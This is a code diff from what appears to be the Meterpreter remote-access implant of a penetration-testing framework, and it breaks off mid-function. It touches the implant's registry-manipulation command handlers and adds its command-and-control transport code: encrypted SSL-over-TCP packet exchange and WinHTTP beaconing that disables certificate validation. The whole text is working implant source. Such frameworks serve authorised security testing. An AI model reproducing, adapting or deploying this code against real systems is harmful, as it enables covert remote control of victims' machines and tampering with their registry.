@ -150,7 +150,7 @@ DWORD request_registry_open_key(Remote *remote, Packet *packet)
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -190,7 +190,7 @@ DWORD request_registry_open_remote_key(Remote *remote, Packet *packet)
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -237,7 +237,7 @@ DWORD request_registry_create_key(Remote *remote, Packet *packet)
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -305,7 +305,7 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey)
|
||||
// Set the result and transmit the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -382,7 +382,7 @@ DWORD request_registry_delete_key(Remote *remote, Packet *packet)
|
||||
// Set the result and send the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -409,7 +409,7 @@ DWORD request_registry_close_key(Remote *remote, Packet *packet)
|
||||
// Set the result and send the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -446,7 +446,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey)
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -541,7 +541,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey)
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -649,7 +649,7 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey)
|
||||
// Set the result and transmit the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
|
||||
@ -717,7 +717,7 @@ DWORD request_registry_delete_value(Remote *remote, Packet *packet)
|
||||
// Set the result and send the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -756,7 +756,7 @@ DWORD request_registry_query_class(Remote *remote, Packet *packet)
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -98,7 +98,7 @@ DWORD request_core_enumextcmd(Remote* remote, Packet* packet)
|
||||
|
||||
packet_add_tlv_uint(pResponse, TLV_TYPE_RESULT, ERROR_SUCCESS);
|
||||
|
||||
packet_transmit(remote, pResponse, NULL);
|
||||
PACKET_TRANSMIT(remote, pResponse, NULL);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -193,7 +193,7 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
|
||||
if (response)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
||||
packet_transmit(pRemote, response, NULL);
|
||||
PACKET_TRANSMIT(pRemote, response, NULL);
|
||||
}
|
||||
|
||||
return res;
|
||||
|
@ -576,6 +576,169 @@ static BOOL server_negotiate_ssl(Remote *remote)
|
||||
return success;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Receive a new packet on the given remote endpoint.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
static DWORD packet_receive_via_ssl(Remote *remote, Packet **packet)
|
||||
{
|
||||
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
|
||||
CryptoContext *crypto = NULL;
|
||||
Packet *localPacket = NULL;
|
||||
TlvHeader header;
|
||||
LONG bytesRead;
|
||||
BOOL inHeader = TRUE;
|
||||
PUCHAR payload = NULL;
|
||||
ULONG payloadLength;
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
do
|
||||
{
|
||||
// Read the packet length
|
||||
while (inHeader)
|
||||
{
|
||||
if ((bytesRead = SSL_read(ctx->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0)
|
||||
{
|
||||
if (!bytesRead)
|
||||
{
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
if (bytesRead < 0)
|
||||
{
|
||||
dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(ctx->ssl, bytesRead), WSAGetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
headerBytes += bytesRead;
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
inHeader = FALSE;
|
||||
}
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader))
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the header
|
||||
header.length = header.length;
|
||||
header.type = header.type;
|
||||
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
|
||||
payloadBytesLeft = payloadLength;
|
||||
|
||||
// Allocate the payload
|
||||
if (!(payload = (PUCHAR)malloc(payloadLength)))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
// Read the payload
|
||||
while (payloadBytesLeft > 0)
|
||||
{
|
||||
if ((bytesRead = SSL_read(ctx->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
|
||||
{
|
||||
|
||||
if (GetLastError() == WSAEWOULDBLOCK)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!bytesRead)
|
||||
{
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
if (bytesRead < 0)
|
||||
{
|
||||
dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(ctx->ssl, bytesRead));
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
payloadBytesLeft -= bytesRead;
|
||||
}
|
||||
|
||||
// Didn't finish?
|
||||
if (payloadBytesLeft)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Allocate a packet structure
|
||||
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
memset(localPacket, 0, sizeof(Packet));
|
||||
|
||||
// If the connection has an established cipher and this packet is not
|
||||
// plaintext, decrypt
|
||||
if ((crypto = remote_get_cipher(remote)) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
{
|
||||
ULONG origPayloadLength = payloadLength;
|
||||
PUCHAR origPayload = payload;
|
||||
|
||||
// Decrypt
|
||||
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(res);
|
||||
break;
|
||||
}
|
||||
|
||||
// We no longer need the encrypted payload
|
||||
free(origPayload);
|
||||
}
|
||||
|
||||
localPacket->header.length = header.length;
|
||||
localPacket->header.type = header.type;
|
||||
localPacket->payload = payload;
|
||||
localPacket->payloadLength = payloadLength;
|
||||
|
||||
*packet = localPacket;
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
res = GetLastError();
|
||||
|
||||
// Cleanup on failure
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
if (payload)
|
||||
{
|
||||
free(payload);
|
||||
}
|
||||
if (localPacket)
|
||||
{
|
||||
free(localPacket);
|
||||
}
|
||||
}
|
||||
|
||||
lock_release(remote->lock);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief The servers main dispatch loop for incoming requests using SSL over TCP
|
||||
* @param remote Pointer to the remote endpoint for this server connection.
|
||||
@ -611,7 +774,7 @@ static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread)
|
||||
result = server_socket_poll(remote, 50000);
|
||||
if (result > 0)
|
||||
{
|
||||
result = remote->transport->packet_receive(remote, &packet);
|
||||
result = packet_receive_via_ssl(remote, &packet);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
|
||||
@ -952,6 +1115,137 @@ static BOOL configure_tcp_connection(Remote* remote, SOCKET sock)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Transmit a packet via SSL _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS.
|
||||
*/
|
||||
DWORD packet_transmit_via_ssl(Remote* remote, Packet* packet, PacketRequestCompletion* completion)
|
||||
{
|
||||
CryptoContext* crypto;
|
||||
Tlv requestId;
|
||||
DWORD res;
|
||||
DWORD idx;
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
// If the packet does not already have a request identifier, create one for it
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
|
||||
{
|
||||
DWORD index;
|
||||
CHAR rid[32];
|
||||
|
||||
rid[sizeof(rid)-1] = 0;
|
||||
|
||||
for (index = 0; index < sizeof(rid)-1; index++)
|
||||
{
|
||||
rid[index] = (rand() % 0x5e) + 0x21;
|
||||
}
|
||||
|
||||
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
// If a completion routine was supplied and the packet has a request
|
||||
// identifier, insert the completion routine into the list
|
||||
if ((completion) &&
|
||||
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
|
||||
&requestId) == ERROR_SUCCESS))
|
||||
{
|
||||
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
|
||||
}
|
||||
|
||||
// If the endpoint has a cipher established and this is not a plaintext
|
||||
// packet, we encrypt
|
||||
if ((crypto = remote_get_cipher(remote)) &&
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
{
|
||||
ULONG origPayloadLength = packet->payloadLength;
|
||||
PUCHAR origPayload = packet->payload;
|
||||
|
||||
// Encrypt
|
||||
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
|
||||
packet->payloadLength, &packet->payload,
|
||||
&packet->payloadLength)) !=
|
||||
ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(res);
|
||||
break;
|
||||
}
|
||||
|
||||
// Destroy the original payload as we no longer need it
|
||||
free(origPayload);
|
||||
|
||||
// Update the header length
|
||||
packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while (idx < sizeof(packet->header))
|
||||
{
|
||||
// Transmit the packet's header (length, type)
|
||||
res = SSL_write(
|
||||
ctx->ssl,
|
||||
(LPCSTR)(&packet->header) + idx,
|
||||
sizeof(packet->header) - idx
|
||||
);
|
||||
|
||||
if (res <= 0)
|
||||
{
|
||||
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
|
||||
break;
|
||||
}
|
||||
idx += res;
|
||||
}
|
||||
|
||||
if (res < 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while (idx < packet->payloadLength)
|
||||
{
|
||||
// Transmit the packet's payload (length, type)
|
||||
res = SSL_write(
|
||||
ctx->ssl,
|
||||
packet->payload + idx,
|
||||
packet->payloadLength - idx
|
||||
);
|
||||
|
||||
if (res < 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
idx += res;
|
||||
}
|
||||
|
||||
if (res < 0)
|
||||
{
|
||||
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
|
||||
break;
|
||||
}
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
} while (0);
|
||||
|
||||
res = GetLastError();
|
||||
|
||||
// Destroy the packet
|
||||
packet_destroy(packet);
|
||||
|
||||
lock_release(remote->lock);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Creates a new TCP transport instance.
|
||||
* @param url URL containing the transport details.
|
||||
@ -972,7 +1266,6 @@ Transport* transport_create_tcp(wchar_t* url, TimeoutSettings* timeouts)
|
||||
|
||||
transport->type = METERPRETER_TRANSPORT_SSL;
|
||||
transport->url = _wcsdup(url);
|
||||
transport->packet_receive = packet_receive_via_ssl;
|
||||
transport->packet_transmit = packet_transmit_via_ssl;
|
||||
transport->transport_init = configure_tcp_connection;
|
||||
transport->transport_deinit = server_destroy_ssl;
|
||||
|
@ -10,6 +10,458 @@
|
||||
#define URLPATH_LEN 1024
|
||||
#define METERPRETER_CONST_OFFSET 12
|
||||
|
||||
/*!
|
||||
* @brief Prepare a winHTTP request with the given context.
|
||||
* @param ctx Pointer to the HTTP transport context to prepare the request from.
|
||||
* @param direction String representing the direction of the communications (for debug).
|
||||
* @return An Internet request handle.
|
||||
*/
|
||||
static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *direction)
|
||||
{
|
||||
HINTERNET hReq = NULL;
|
||||
DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
|
||||
if (ctx->ssl)
|
||||
{
|
||||
flags |= WINHTTP_FLAG_SECURE;
|
||||
dprintf("[%s] Setting secure flag..", direction);
|
||||
}
|
||||
|
||||
vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri);
|
||||
hReq = WinHttpOpenRequest(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags);
|
||||
|
||||
if (hReq == NULL)
|
||||
{
|
||||
dprintf("[%s] Failed WinHttpOpenRequest: %d", direction, GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (ctx->proxy_user)
|
||||
{
|
||||
dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user);
|
||||
dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass);
|
||||
if (!WinHttpSetCredentials(hReq, WINHTTP_AUTH_TARGET_PROXY, WINHTTP_AUTH_SCHEME_BASIC,
|
||||
ctx->proxy_user, ctx->proxy_pass, NULL))
|
||||
{
|
||||
dprintf("[%s] Failed to set creds %u", direction, GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (ctx->ssl)
|
||||
{
|
||||
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
|
||||
{
|
||||
dprintf("[%s] failed to set the security flags on the request", direction);
|
||||
}
|
||||
}
|
||||
|
||||
return hReq;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available on POSIX.
|
||||
*/
|
||||
static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
{
|
||||
DWORD res = 0;
|
||||
HINTERNET hReq;
|
||||
BOOL hRes;
|
||||
DWORD retries = 5;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
unsigned char *buffer;
|
||||
|
||||
buffer = malloc(packet->payloadLength + sizeof(TlvHeader));
|
||||
if (!buffer)
|
||||
{
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
return 0;
|
||||
}
|
||||
|
||||
memcpy(buffer, &packet->header, sizeof(TlvHeader));
|
||||
memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);
|
||||
|
||||
do
|
||||
{
|
||||
hReq = get_winhttp_req(ctx, "PACKET TRANSMIT");
|
||||
if (hReq == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
hRes = WinHttpSendRequest(hReq, NULL, 0, buffer,
|
||||
packet->payloadLength + sizeof(TlvHeader),
|
||||
packet->payloadLength + sizeof(TlvHeader), 0);
|
||||
|
||||
if (!hRes)
|
||||
{
|
||||
dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PACKET TRANSMIT] request sent.. apparently");
|
||||
} while(0);
|
||||
|
||||
memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
|
||||
WinHttpCloseHandle(hReq);
|
||||
return res;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Transmit a packet via HTTP(s) _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
{
|
||||
CryptoContext *crypto;
|
||||
Tlv requestId;
|
||||
DWORD res;
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
// If the packet does not already have a request identifier, create one for it
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
|
||||
{
|
||||
DWORD index;
|
||||
CHAR rid[32];
|
||||
|
||||
rid[sizeof(rid)-1] = 0;
|
||||
|
||||
for (index = 0; index < sizeof(rid)-1; index++)
|
||||
{
|
||||
rid[index] = (rand() % 0x5e) + 0x21;
|
||||
}
|
||||
|
||||
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
// If a completion routine was supplied and the packet has a request
|
||||
// identifier, insert the completion routine into the list
|
||||
if ((completion) &&
|
||||
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
|
||||
&requestId) == ERROR_SUCCESS))
|
||||
{
|
||||
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
|
||||
}
|
||||
|
||||
// If the endpoint has a cipher established and this is not a plaintext
|
||||
// packet, we encrypt
|
||||
if ((crypto = remote_get_cipher(remote)) &&
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
{
|
||||
ULONG origPayloadLength = packet->payloadLength;
|
||||
PUCHAR origPayload = packet->payload;
|
||||
|
||||
// Encrypt
|
||||
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
|
||||
packet->payloadLength, &packet->payload,
|
||||
&packet->payloadLength)) !=
|
||||
ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(res);
|
||||
break;
|
||||
}
|
||||
|
||||
// Destroy the original payload as we no longer need it
|
||||
free(origPayload);
|
||||
|
||||
// Update the header length
|
||||
packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
|
||||
}
|
||||
|
||||
dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength);
|
||||
res = packet_transmit_via_http_winhttp(remote, packet, completion);
|
||||
if (res < 0)
|
||||
{
|
||||
dprintf("[PACKET] transmit failed with return %d\n", res);
|
||||
break;
|
||||
}
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
} while (0);
|
||||
|
||||
res = GetLastError();
|
||||
|
||||
// Destroy the packet
|
||||
packet_destroy(packet);
|
||||
|
||||
lock_release(remote->lock);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Windows-specific function to receive a new packet via WinHTTP.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available in POSIX.
|
||||
*/
|
||||
static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
{
|
||||
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
|
||||
CryptoContext *crypto = NULL;
|
||||
Packet *localPacket = NULL;
|
||||
TlvHeader header;
|
||||
LONG bytesRead;
|
||||
BOOL inHeader = TRUE;
|
||||
PUCHAR payload = NULL;
|
||||
ULONG payloadLength;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
|
||||
HINTERNET hReq;
|
||||
BOOL hRes;
|
||||
DWORD retries = 5;
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
do
|
||||
{
|
||||
hReq = get_winhttp_req(ctx, "PACKET RECEIVE");
|
||||
if (hReq == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] sending the 'RECV' command...");
|
||||
// TODO: when the MSF side supports it, update this so that it's UTF8
|
||||
DWORD recv = 'VCER';
|
||||
hRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, &recv,
|
||||
sizeof(recv), sizeof(recv), 0);
|
||||
|
||||
if (!hRes)
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed WinHttpSendRequest: %d %d", GetLastError(), WSAGetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Waiting to see the response ...");
|
||||
if (!WinHttpReceiveResponse(hReq, NULL))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE] Failed WinHttpReceiveResponse: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (ctx->cert_hash != NULL)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash");
|
||||
PCERT_CONTEXT pCertContext = NULL;
|
||||
DWORD dwCertContextSize = sizeof(pCertContext);
|
||||
|
||||
if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError());
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
|
||||
DWORD dwHashSize = 20;
|
||||
BYTE hash[20];
|
||||
if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError());
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
|
||||
if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0)
|
||||
{
|
||||
dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
|
||||
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
|
||||
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out");
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
DWORD dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hReq, &dwSize))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] WinHttpQueryDataAvailable failed: %x", GetLastError());
|
||||
}
|
||||
else
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Available data: %u bytes", dwSize);
|
||||
}
|
||||
#endif
|
||||
|
||||
// Read the packet length
|
||||
retries = 3;
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Start looping through the receive calls");
|
||||
while (inHeader && retries > 0)
|
||||
{
|
||||
retries--;
|
||||
if (!WinHttpReadData(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed HEADER WinhttpReadData: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead);
|
||||
|
||||
// If the response contains no data, this is fine, it just means the
|
||||
// remote side had nothing to tell us. Indicate this through a
|
||||
// ERROR_EMPTY response code so we can update the timestamp.
|
||||
if (bytesRead == 0)
|
||||
{
|
||||
SetLastError(ERROR_EMPTY);
|
||||
break;
|
||||
}
|
||||
|
||||
headerBytes += bytesRead;
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
inHeader = FALSE;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_EMPTY)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] headerBytes no valid");
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the header
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] initialising header");
|
||||
header.length = header.length;
|
||||
header.type = header.type;
|
||||
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
|
||||
payloadBytesLeft = payloadLength;
|
||||
|
||||
// Allocate the payload
|
||||
if (!(payload = (PUCHAR)malloc(payloadLength)))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
// Read the payload
|
||||
retries = payloadBytesLeft;
|
||||
while (payloadBytesLeft > 0 && retries > 0)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] reading more data from the body...");
|
||||
retries--;
|
||||
if (!WinHttpReadData(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed BODY WinHttpReadData: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!bytesRead)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] no bytes read, bailing out");
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] bytes read: %u", bytesRead);
|
||||
payloadBytesLeft -= bytesRead;
|
||||
}
|
||||
|
||||
// Didn't finish?
|
||||
if (payloadBytesLeft)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Allocate a packet structure
|
||||
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
